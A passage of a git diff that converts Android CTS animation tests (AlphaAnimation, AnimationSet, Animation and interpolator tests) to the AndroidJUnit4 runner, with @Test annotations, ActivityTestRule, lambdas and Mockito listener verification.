         Transformation transformation = new Transformation();
         long startTime = anim.getStartTime();
@@ -114,7 +129,7 @@
         interpolator = new AccelerateInterpolator(1.5f);
         anim.setInterpolator(interpolator);
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, anim);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow, anim);
 
         transformation = new Transformation();
         startTime = anim.getStartTime();
@@ -148,6 +163,7 @@
         assertTrue(delta5 < delta1);
     }
 
+    @Test
     public void testGetInterpolation() {
         final float input = 0.25f;
         Interpolator interpolator1 = new AccelerateInterpolator(1.0f);
diff --git a/tests/tests/view/src/android/view/animation/cts/AlphaAnimationTest.java b/tests/tests/view/src/android/view/animation/cts/AlphaAnimationTest.java
index 45eb418..605a339 100644
--- a/tests/tests/view/src/android/view/animation/cts/AlphaAnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AlphaAnimationTest.java
@@ -16,19 +16,38 @@
 
 package android.view.animation.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+
+import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.animation.AlphaAnimation;
 import android.view.animation.Transformation;
-
 import android.view.cts.R;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link AlphaAnimation}.
  */
-public class AlphaAnimationTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AlphaAnimationTest {
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
     public void testConstructor() {
         XmlResourceParser parser = mContext.getResources().getAnimation(R.anim.alpha);
         AttributeSet attrs = Xml.asAttributeSet(parser);
@@ -37,16 +56,19 @@
         new AlphaAnimation(0.0f, 1.0f);
     }
 
+    @Test
     public void testWillChangeBounds() {
         AlphaAnimation animation = new AlphaAnimation(mContext, null);
         assertFalse(animation.willChangeBounds());
     }
 
+    @Test
     public void testWillChangeTransformationMatrix() {
         AlphaAnimation animation = new AlphaAnimation(0.0f, 0.5f);
         assertFalse(animation.willChangeTransformationMatrix());
     }
 
+    @Test
     public void testApplyTransformation() {
         MyAlphaAnimation animation = new MyAlphaAnimation(0.0f, 1.0f);
         Transformation transformation = new Transformation();
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationSetTest.java b/tests/tests/view/src/android/view/animation/cts/AnimationSetTest.java
index 49c51e0..36846f3 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationSetTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationSetTest.java
@@ -16,12 +16,19 @@
 
 package android.view.animation.cts;
 
-import java.util.List;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
-import android.content.Context;
+import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -32,13 +39,18 @@
 import android.view.animation.ScaleAnimation;
 import android.view.animation.Transformation;
 import android.view.animation.TranslateAnimation;
-
 import android.view.cts.R;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class AnimationSetTest
-        extends ActivityInstrumentationTestCase2<AnimationTestCtsActivity> {
+import java.util.List;
 
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AnimationSetTest {
     private static final float DELTA = 0.001f;
     private static final long SHORT_CHILD_DURATION = 400;
     private static final long MEDIUM_CHILD_DURATION = 800;
@@ -48,18 +60,21 @@
      */
     private static final int INITIAL_SIZE = 100;
     private static final long ANIMATIONSET_DURATION = 1000;
+
+    private Instrumentation mInstrumentation;
     private Activity mActivity;
 
-    public AnimationSetTest() {
-        super("android.view.cts", AnimationTestCtsActivity.class);
+    @Rule
+    public ActivityTestRule<AnimationTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationTestCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructor() {
         new AnimationSet(true);
 
@@ -71,6 +86,7 @@
         new AnimationSet(mActivity, attr);
     }
 
+    @Test
     public void testInitialize() {
         final AnimationSet animationSet = createAnimationSet();
         animationSet.setDuration(ANIMATIONSET_DURATION);
@@ -108,6 +124,7 @@
         return animationSet;
     }
 
+    @Test
     public void testSetFillAfter() {
         final AnimationSet animationSet = createAnimationSet();
         assertFalse(animationSet.getFillAfter());
@@ -125,6 +142,7 @@
         }
     }
 
+    @Test
     public void testSetFillBefore() {
         final AnimationSet animationSet = createAnimationSet();
         assertTrue(animationSet.getFillBefore());
@@ -142,6 +160,7 @@
         }
     }
 
+    @Test
     public void testAccessDuration() {
         final AnimationSet animationSet = createAnimationSet();
         assertEquals(LONG_CHILD_DURATION, animationSet.getDuration());
@@ -156,6 +175,7 @@
         }
     }
 
+    @Test
     public void testRestrictDuration() {
         final AnimationSet animationSet = new AnimationSet(false);
         Animation child = null;
@@ -188,6 +208,7 @@
         assertTrue(originChildRepeatCount[2] > children.get(2).getRepeatCount());
     }
 
+    @Test
     public void testComputeDurationHint() {
         final AnimationSet animationSet = createAnimationSet();
         final List<Animation> children = animationSet.getAnimations();
@@ -198,6 +219,7 @@
         assertEquals(expectedDuration, animationSet.computeDurationHint());
     }
 
+    @Test
     public void testScaleCurrentDuration() {
         final AnimationSet animationSet = createAnimationSet();
         List<Animation> children = animationSet.getAnimations();
@@ -214,6 +236,7 @@
         }
     }
 
+    @Test
     public void testAccessRepeatMode() {
         final AnimationSet animationSet = createAnimationSet();
         animationSet.setRepeatMode(Animation.RESTART);
@@ -233,6 +256,7 @@
         }
     }
 
+    @Test
     public void testAccessStartOffset() {
         final AnimationSet animationSet = createAnimationSet();
         assertEquals(0, animationSet.getStartOffset());
@@ -260,6 +284,7 @@
         }
     }
 
+    @Test
     public void testAccessStartTime() {
         final AnimationSet animationSet = createAnimationSet();
         final long[] originChildStartTime = {1000, 2000, 3000};
@@ -281,7 +306,8 @@
         }
     }
 
-    public void testGetTransformation() {
+    @Test
+    public void testGetTransformation() throws Throwable {
         final View animWindowParent = mActivity.findViewById(R.id.anim_window_parent);
         final View animWindow = mActivity.findViewById(R.id.anim_window);
         final AnimationSet animationSet = createAnimationSet();
@@ -289,7 +315,8 @@
         animationSet.initialize(animWindow.getWidth(), animWindow.getHeight(),
                 animWindowParent.getWidth(), animWindowParent.getHeight());
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, animationSet);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow,
+                animationSet);
         final long startTime = animationSet.getStartTime();
 
         assertGetTransformation(animationSet, startTime, true);
@@ -325,6 +352,7 @@
         }
     }
 
+    @Test
     public void testAccessAnimations() {
         final AnimationSet animationSet = new AnimationSet(true);
         final Animation animation1 = new AlphaAnimation(0.0f, 1.0f);
@@ -341,6 +369,7 @@
         assertSame(animation3, children.get(2));
     }
 
+    @Test
     public void testWillChangeTransformationMatrix() {
         final AnimationSet animationSet = new AnimationSet(true);
         assertFalse(animationSet.willChangeTransformationMatrix());
@@ -358,6 +387,7 @@
         assertTrue(animationSet.willChangeBounds());
     }
 
+    @Test
     public void testClone() throws CloneNotSupportedException {
         final MyAnimationSet animationSet = new MyAnimationSet(false);
         final Animation alpha = new AlphaAnimation(0.0f, 1.0f);
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationTest.java b/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
index a465824..aac14e6 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
@@ -16,24 +16,49 @@
 
 package android.view.animation.cts;
 
-import android.view.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
-import android.cts.util.PollingCheck;
-import android.test.ActivityInstrumentationTestCase2;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
 import android.view.animation.AccelerateDecelerateInterpolator;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.Animation;
+import android.view.animation.Animation.AnimationListener;
 import android.view.animation.AnimationUtils;
 import android.view.animation.DecelerateInterpolator;
 import android.view.animation.Interpolator;
 import android.view.animation.Transformation;
-import android.view.animation.Animation.AnimationListener;
+import android.view.cts.R;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -41,28 +66,33 @@
 /**
  * Test {@link Animation}.
  */
-public class AnimationTest extends ActivityInstrumentationTestCase2<AnimationTestCtsActivity> {
-    private static final float ALPHA_DELTA = 0.001f;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AnimationTest {
+    private static final float COMPARISON_DELTA = 0.001f;
 
     /** It is defined in R.anim.accelerate_alpha */
-    private static final long ACCELERATE_ALPHA_DURATION = 1000;
+    private static final int ACCELERATE_ALPHA_DURATION = 1000;
 
     /** It is defined in R.anim.decelerate_alpha */
-    private static final long DECELERATE_ALPHA_DURATION = 2000;
+    private static final int DECELERATE_ALPHA_DURATION = 2000;
 
+    private static final int CANCELATION_TIMEOUT = 1000;
+
+    private Instrumentation mInstrumentation;
     private Activity mActivity;
-    private Object mLockObject = new Object();
 
-    public AnimationTest() {
-        super("android.view.cts", AnimationTestCtsActivity.class);
+    @Rule
+    public ActivityTestRule<AnimationTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationTestCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructor() {
         XmlResourceParser parser = mActivity.getResources().getAnimation(R.anim.alpha);
         AttributeSet attrs = Xml.asAttributeSet(parser);
@@ -73,6 +103,7 @@
         };
     }
 
+    @Test
     public void testAccessInterpolator() {
         // check default interpolator
         MyAnimation myAnimation = new MyAnimation();
@@ -99,6 +130,7 @@
         assertTrue(interpolator instanceof AccelerateInterpolator);
     }
 
+    @Test
     public void testDefaultFill() {
         Animation animation = new Animation() {
         };
@@ -106,7 +138,8 @@
         assertFalse(animation.getFillAfter());
     }
 
-    public void testAccessFill() {
+    @Test
+    public void testAccessFill() throws Throwable {
         View animWindow = mActivity.findViewById(R.id.anim_window);
         // XML file of R.anim.accelerate_alpha
         // <alpha xmlns:android="http://schemas.android.com/apk/res/android"
@@ -119,59 +152,63 @@
         assertTrue(animation.getFillBefore());
         assertFalse(animation.getFillAfter());
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, animation);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow,
+                animation);
 
         // fillBefore and fillAfter are ignored when fillEnabled is false
         Transformation transformation = new Transformation();
         // check alpha before start
         animation.getTransformation(animation.getStartTime() - 1, transformation);
         float alpha = transformation.getAlpha();
-        assertEquals(0.1f, alpha, ALPHA_DELTA);  // issue 1698355
+        assertEquals(0.1f, alpha, COMPARISON_DELTA);  // issue 1698355
 
         transformation = new Transformation();
         // check alpha after the end
         animation.getTransformation(animation.getStartTime() + animation.getDuration() + 1,
                 transformation);
         alpha = transformation.getAlpha();
-        assertEquals(0.9f, alpha, ALPHA_DELTA);  // issue 1698355
+        assertEquals(0.9f, alpha, COMPARISON_DELTA);  // issue 1698355
 
         animation.setFillEnabled(true);
         animation.setFillBefore(false);
         assertTrue(animation.isFillEnabled());
         assertFalse(animation.getFillBefore());
         assertFalse(animation.getFillAfter());
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, animation);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow,
+                animation);
 
         transformation = new Transformation();
         animation.getTransformation(animation.getStartTime() - 1, transformation);
         alpha = transformation.getAlpha();
-        assertEquals(1.0f, alpha, ALPHA_DELTA);
+        assertEquals(1.0f, alpha, COMPARISON_DELTA);
 
         transformation = new Transformation();
         animation.getTransformation(animation.getStartTime() + animation.getDuration() + 1,
                 transformation);
         alpha = transformation.getAlpha();
-        assertEquals(1.0f, alpha, ALPHA_DELTA);
+        assertEquals(1.0f, alpha, COMPARISON_DELTA);
 
         animation.setFillBefore(true);
         animation.setFillAfter(true);
         assertTrue(animation.isFillEnabled());
         assertTrue(animation.getFillBefore());
         assertTrue(animation.getFillAfter());
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, animation);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow,
+                animation);
 
         transformation = new Transformation();
         animation.getTransformation(animation.getStartTime() - 1, transformation);
         alpha = transformation.getAlpha();
-        assertEquals(0.1f, alpha, ALPHA_DELTA);
+        assertEquals(0.1f, alpha, COMPARISON_DELTA);
 
         transformation = new Transformation();
         animation.getTransformation(animation.getStartTime() + animation.getDuration() + 1,
                 transformation);
         alpha = transformation.getAlpha();
-        assertEquals(0.9f, alpha, ALPHA_DELTA);
+        assertEquals(0.9f, alpha, COMPARISON_DELTA);
     }
 
+    @Test
     public void testComputeDurationHint() {
         // start offset is 0, duration is 2000, repeat count is 0.
         Animation animation = AnimationUtils.loadAnimation(mActivity, R.anim.decelerate_alpha);
@@ -186,7 +223,8 @@
         assertEquals(8400, animation.computeDurationHint());
     }
 
-    public void testRepeatAnimation() {
+    @Test
+    public void testRepeatAnimation() throws Throwable {
         // check default repeatMode
         Animation animation = new Animation() {
         };
@@ -205,48 +243,34 @@
         long duration = anim.getDuration();
         assertEquals(DECELERATE_ALPHA_DURATION, duration);
         // repeat count is 0, repeat mode does not make sense.
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, anim);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow, anim);
 
         // test repeat mode REVERSE
         anim.setRepeatCount(1);
         anim.setRepeatMode(Animation.REVERSE);
         // we have to PollingCheck the animation status on test thread,
-        // it cannot be done on UI thread, so we invoke runOnMainSync method here.
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                animWindow.startAnimation(anim);
-            }
-        });
+        // it cannot be done on UI thread, so we invoke runOnUiThread method here.
+        mActivityRule.runOnUiThread(() -> animWindow.startAnimation(anim));
 
         // check whether animation has started
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return anim.hasStarted();
-            }
-        }.run();
+        PollingCheck.waitFor(anim::hasStarted);
 
         Transformation transformation = new Transformation();
         long startTime = anim.getStartTime();
         anim.getTransformation(startTime, transformation);
         float alpha1 = transformation.getAlpha();
-        assertEquals(0.0f, alpha1, ALPHA_DELTA);
+        assertEquals(0.0f, alpha1, COMPARISON_DELTA);
 
         anim.getTransformation(startTime + 1000, transformation);
         float alpha2 = transformation.getAlpha();
 
         anim.getTransformation(startTime + 2000, transformation);
         float alpha3 = transformation.getAlpha();
-        assertEquals(1.0f, alpha3, ALPHA_DELTA);
+        assertEquals(1.0f, alpha3, COMPARISON_DELTA);
 
         // wait for animation has ended.
         // timeout is larger than duration, in case the system is sluggish
-        new PollingCheck(duration * 2 + 1000) {
-            @Override
-            protected boolean check() {
-                return anim.hasEnded();
-            }
-        }.run();
+        PollingCheck.waitFor(duration * 2 + 1000, anim::hasEnded);
 
         // get start time of reversing.
         startTime = anim.getStartTime();
@@ -255,7 +279,7 @@
 
         anim.getTransformation(startTime + 4000, transformation);
         float alpha5 = transformation.getAlpha();
-        assertEquals(0.0f, alpha5, ALPHA_DELTA);
+        assertEquals(0.0f, alpha5, COMPARISON_DELTA);
 
         // check decelerating delta alpha when reverse. alpha should change form 0.0f to 1.0f
         // and then from 1.0f to 0.0f
@@ -270,42 +294,28 @@
         // test repeat mode RESTART
         anim.setRepeatMode(Animation.RESTART);
         // we have to PollingCheck the animation status on test thread,
-        // it cannot be done on UI thread, so we invoke runOnMainSync method here.
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                animWindow.startAnimation(anim);
-            }
-        });
+        // it cannot be done on UI thread, so we invoke runOnUiThread method here.
+        mActivityRule.runOnUiThread(() -> animWindow.startAnimation(anim));
 
         // check whether animation has started
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return anim.hasStarted();
-            }
-        }.run();
+        PollingCheck.waitFor(anim::hasStarted);
 
         transformation = new Transformation();
         startTime = anim.getStartTime();
         anim.getTransformation(startTime, transformation);
         alpha1 = transformation.getAlpha();
-        assertEquals(0.0f, alpha1, ALPHA_DELTA);
+        assertEquals(0.0f, alpha1, COMPARISON_DELTA);
 
         anim.getTransformation(startTime + 1000, transformation);
         alpha2 = transformation.getAlpha();
 
         anim.getTransformation(startTime + 2000, transformation);
         alpha3 = transformation.getAlpha();
-        assertEquals(1.0f, alpha3, ALPHA_DELTA);
+        assertEquals(1.0f, alpha3, COMPARISON_DELTA);
 
         // wait for animation has ended.
         // timeout is larger than duration, in case the system is sluggish
-        new PollingCheck(duration * 2 + 1000) {
-            @Override
-            protected boolean check() {
-                return anim.hasEnded();
-            }
-        }.run();
+        PollingCheck.waitFor(duration * 2 + 1000, anim::hasEnded);
 
         // get start time of restarting.
         startTime = anim.getStartTime();
@@ -314,7 +324,7 @@
 
         anim.getTransformation(startTime + 4000, transformation);
         alpha5 = transformation.getAlpha();
-        assertEquals(1.0f, alpha5, ALPHA_DELTA);
+        assertEquals(1.0f, alpha5, COMPARISON_DELTA);
 
         // check decelerating delta alpha when restart. alpha should change form 0.0f to 1.0f
         // and then from 0.0f to 1.0f again
@@ -327,7 +337,8 @@
         assertTrue(delta3 > delta4);
     }
 
-    public void testAccessStartOffset() {
+    @Test
+    public void testAccessStartOffset() throws Throwable {
         final long startOffset = 800;
         // check default startOffset
         Animation animation = new Animation() {
@@ -345,24 +356,24 @@
         animation.setStartOffset(startOffset);
         assertEquals(startOffset, animation.getStartOffset());
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow,
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow,
                 animation, ACCELERATE_ALPHA_DURATION + startOffset);
 
         Transformation transformation = new Transformation();
         long startTime = animation.getStartTime();
         animation.getTransformation(startTime, transformation);
         float alpha1 = transformation.getAlpha();
-        assertEquals(0.1f, alpha1, ALPHA_DELTA);
+        assertEquals(0.1f, alpha1, COMPARISON_DELTA);
 
         animation.getTransformation(startTime + 400, transformation);
         float alpha2 = transformation.getAlpha();
         // alpha is 0.1f during start offset
-        assertEquals(0.1f, alpha2, ALPHA_DELTA);
+        assertEquals(0.1f, alpha2, COMPARISON_DELTA);
 
         animation.getTransformation(startTime + startOffset, transformation);
         float alpha3 = transformation.getAlpha();
         // alpha is 0.1f during start offset
-        assertEquals(0.1f, alpha3, ALPHA_DELTA);
+        assertEquals(0.1f, alpha3, COMPARISON_DELTA);
 
         animation.getTransformation(startTime + startOffset + 1, transformation);
         float alpha4 = transformation.getAlpha();
@@ -370,7 +381,8 @@
         assertTrue(alpha4 > 0.1f);
     }
 
-    public void testRunAccelerateAlpha() {
+    @Test
+    public void testRunAccelerateAlpha() throws Throwable {
         // check default startTime
         Animation animation = new Animation() {
         };
@@ -391,10 +403,11 @@
         Animation anim = AnimationUtils.loadAnimation(mActivity, R.anim.accelerate_alpha);
         assertEquals(Animation.START_ON_FIRST_FRAME, anim.getStartTime());
         assertFalse(anim.hasStarted());
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, anim);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow, anim);
     }
 
-    public void testGetTransformation() {
+    @Test
+    public void testGetTransformation() throws Throwable {
         final View animWindow = mActivity.findViewById(R.id.anim_window);
 
         // XML file of R.anim.accelerate_alpha
@@ -407,20 +420,11 @@
         assertFalse(anim.hasStarted());
 
         // we have to PollingCheck the animation status on test thread,
-        // it cannot be done on UI thread, so we invoke runOnMainSync method here.
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                animWindow.startAnimation(anim);
-            }
-        });
+        // it cannot be done on UI thread, so we invoke runOnUiThread method here.
+        mActivityRule.runOnUiThread(() -> animWindow.startAnimation(anim));
 
         // check whether animation has started
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return anim.hasStarted();
-            }
-        }.run();
+        PollingCheck.waitFor(anim::hasStarted);
 
         // check transformation objects that is provided by the
         // caller and will be filled in by the animation.
@@ -428,7 +432,7 @@
         long startTime = anim.getStartTime();
         assertTrue(anim.getTransformation(startTime, transformation));
         float alpha1 = transformation.getAlpha();
-        assertEquals(0.1f, alpha1, ALPHA_DELTA);
+        assertEquals(0.1f, alpha1, COMPARISON_DELTA);
 
         assertTrue(anim.getTransformation(startTime + 250, transformation));
         float alpha2 = transformation.getAlpha();
@@ -441,16 +445,11 @@
 
         // wait for animation has ended.
         // timeout is larger than duration, in case the system is sluggish
-        new PollingCheck(2000) {
-            @Override
-            protected boolean check() {
-                return anim.hasEnded();
-            }
-        }.run();
+        PollingCheck.waitFor(2000, anim::hasEnded);
 
         assertFalse(anim.getTransformation(startTime + 1000, transformation));
         float alpha5 = transformation.getAlpha();
-        assertEquals(0.9f, alpha5, ALPHA_DELTA);
+        assertEquals(0.9f, alpha5, COMPARISON_DELTA);
 
         // check decelerating delta alpha
         float delta1 = alpha2 - alpha1;
@@ -462,6 +461,7 @@
         assertTrue(delta3 < delta4);
     }
 
+    @Test
     public void testAccessZAdjustment() {
         // check default zAdjustment
         Animation animation = new Animation() {
@@ -478,6 +478,7 @@
         assertEquals(Animation.ZORDER_BOTTOM, animation.getZAdjustment());
     }
 
+    @Test
     public void testInitialize() {
         Animation animation = new Animation() {
         };
@@ -487,23 +488,31 @@
         assertTrue(animation.isInitialized());
     }
 
+    @Test
     public void testResolveSize() {
         MyAnimation myAnimation = new MyAnimation();
 
-        assertEquals(1.0f, myAnimation.resolveSize(Animation.ABSOLUTE, 1.0f, 0, 0));
-        assertEquals(2.0f, myAnimation.resolveSize(Animation.ABSOLUTE, 2.0f, 0, 0));
+        assertEquals(1.0f, myAnimation.resolveSize(Animation.ABSOLUTE, 1.0f, 0, 0),
+                COMPARISON_DELTA);
+        assertEquals(2.0f, myAnimation.resolveSize(Animation.ABSOLUTE, 2.0f, 0, 0),
+                COMPARISON_DELTA);
 
-        assertEquals(6.0f, myAnimation.resolveSize(Animation.RELATIVE_TO_SELF, 3.0f, 2, 0));
-        assertEquals(9.0f, myAnimation.resolveSize(Animation.RELATIVE_TO_SELF, 3.0f, 3, 0));
+        assertEquals(6.0f, myAnimation.resolveSize(Animation.RELATIVE_TO_SELF, 3.0f, 2, 0),
+                COMPARISON_DELTA);
+        assertEquals(9.0f, myAnimation.resolveSize(Animation.RELATIVE_TO_SELF, 3.0f, 3, 0),
+                COMPARISON_DELTA);
 
-        assertEquals(18.0f, myAnimation.resolveSize(Animation.RELATIVE_TO_PARENT, 3.0f, 0, 6));
-        assertEquals(12.0f, myAnimation.resolveSize(Animation.RELATIVE_TO_PARENT, 3.0f, 0, 4));
+        assertEquals(18.0f, myAnimation.resolveSize(Animation.RELATIVE_TO_PARENT, 3.0f, 0, 6),
+                COMPARISON_DELTA);
+        assertEquals(12.0f, myAnimation.resolveSize(Animation.RELATIVE_TO_PARENT, 3.0f, 0, 4),
+                COMPARISON_DELTA);
 
         int unknownType = 7;
-        assertEquals(8.0f, myAnimation.resolveSize(unknownType, 8.0f, 3, 4));
-        assertEquals(10.0f, myAnimation.resolveSize(unknownType, 10.0f, 3, 4));
+        assertEquals(8.0f, myAnimation.resolveSize(unknownType, 8.0f, 3, 4), COMPARISON_DELTA);
+        assertEquals(10.0f, myAnimation.resolveSize(unknownType, 10.0f, 3, 4), COMPARISON_DELTA);
     }
 
+    @Test
     public void testRestrictDuration() {
         Animation animation = new Animation() {
         };
@@ -526,6 +535,7 @@
         assertEquals(1, animation.getRepeatCount());
     }
 
+    @Test
     public void testScaleCurrentDuration() {
         Animation animation = new Animation() {
         };
@@ -543,7 +553,9 @@
         assertEquals(-10, animation.getDuration());
     }
 
-    public void testSetAnimationListener() {
+    @LargeTest
+    @Test
+    public void testSetAnimationListener() throws Throwable {
         final View animWindow = mActivity.findViewById(R.id.anim_window);
 
         // XML file of R.anim.accelerate_alpha
@@ -553,48 +565,40 @@
         //      android:toAlpha="0.9"
         //      android:duration="1000" />
         final Animation anim = AnimationUtils.loadAnimation(mActivity, R.anim.accelerate_alpha);
-        MockAnimationListener listener = new MockAnimationListener();
+        final AnimationListener listener = mock(AnimationListener.class);
         anim.setAnimationListener(listener);
-        assertFalse(listener.hasAnimationStarted());
-        assertFalse(listener.hasAnimationEnded());
-        assertFalse(listener.hasAnimationRepeated());
+        verifyZeroInteractions(listener);
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, anim);
-        assertTrue(listener.hasAnimationStarted());
-        assertTrue(listener.hasAnimationEnded());
-        assertFalse(listener.hasAnimationRepeated());
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow, anim);
+        verify(listener, times(1)).onAnimationStart(anim);
+        verify(listener, times(1)).onAnimationEnd(anim);
+        verify(listener, never()).onAnimationRepeat(anim);
 
-        listener.reset();
+        reset(listener);
         anim.setRepeatCount(2);
         anim.setRepeatMode(Animation.REVERSE);
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, anim, 3000);
-        assertTrue(listener.hasAnimationStarted());
-        assertTrue(listener.hasAnimationRepeated());
-        assertTrue(listener.hasAnimationEnded());
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow, anim,
+                3000);
+        verify(listener, times(1)).onAnimationStart(anim);
+        verify(listener, times(2)).onAnimationRepeat(anim);
+        verify(listener, times(1)).onAnimationEnd(anim);
 
-        listener.reset();
+        reset(listener);
         // onAnimationEnd will not be invoked and animation should not end
         anim.setRepeatCount(Animation.INFINITE);
 
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                animWindow.startAnimation(anim);
-            }
-        });
-        synchronized(mLockObject) {
-            try {
-                mLockObject.wait(4 * ACCELERATE_ALPHA_DURATION);
-            } catch (InterruptedException e) {
-                fail("thrown unexpected InterruptedException");
-            }
-        }
+        mActivityRule.runOnUiThread(() -> animWindow.startAnimation(anim));
+        // Verify that our animation doesn't call listener's onAnimationEnd even after a long
+        // period of time. We just sleep and then verify what's happened with the listener.
+        SystemClock.sleep(4 * ACCELERATE_ALPHA_DURATION);
 
-        assertTrue(listener.hasAnimationStarted());
-        assertTrue(listener.hasAnimationRepeated());
-        assertFalse(listener.hasAnimationEnded());
+        verify(listener, times(1)).onAnimationStart(anim);
+        verify(listener, atLeastOnce()).onAnimationRepeat(anim);
+        verify(listener, never()).onAnimationEnd(anim);
     }
 
+    @Test
     public void testStart() {
         Animation animation = AnimationUtils.loadAnimation(mActivity, R.anim.accelerate_alpha);
         animation.setStartTime(0);
@@ -603,6 +607,7 @@
         assertEquals(Animation.START_ON_FIRST_FRAME, animation.getStartTime());
     }
 
+    @Test
     public void testStartNow() {
         Animation animation = AnimationUtils.loadAnimation(mActivity, R.anim.accelerate_alpha);
         animation.setStartTime(0);
@@ -612,6 +617,7 @@
         assertEquals(currentTime, animation.getStartTime(), 100);
     }
 
+    @Test
     public void testWillChangeBounds() {
         Animation animation = new Animation() {
         };
@@ -619,6 +625,7 @@
         assertTrue(animation.willChangeBounds());
     }
 
+    @Test
     public void testWillChangeTransformationMatrix() {
         Animation animation = new Animation() {
         };
@@ -626,6 +633,7 @@
         assertTrue(animation.willChangeTransformationMatrix());
     }
 
+    @Test
     public void testClone() throws CloneNotSupportedException {
         MyAnimation myAnimation = new MyAnimation();
         myAnimation.setDuration(3000);
@@ -647,35 +655,39 @@
         assertEquals(myAnimation.getRepeatMode(), cloneAnimation.getRepeatMode());
     }
 
+    @Test
     public void testCancelImmediately() throws Throwable {
         MyAnimation anim = new MyAnimation();
         final CountDownLatch latch1 = new CountDownLatch(1);
         runCanceledAnimation(anim, latch1, false, false);
-        assertTrue(latch1.await(200, TimeUnit.MILLISECONDS));
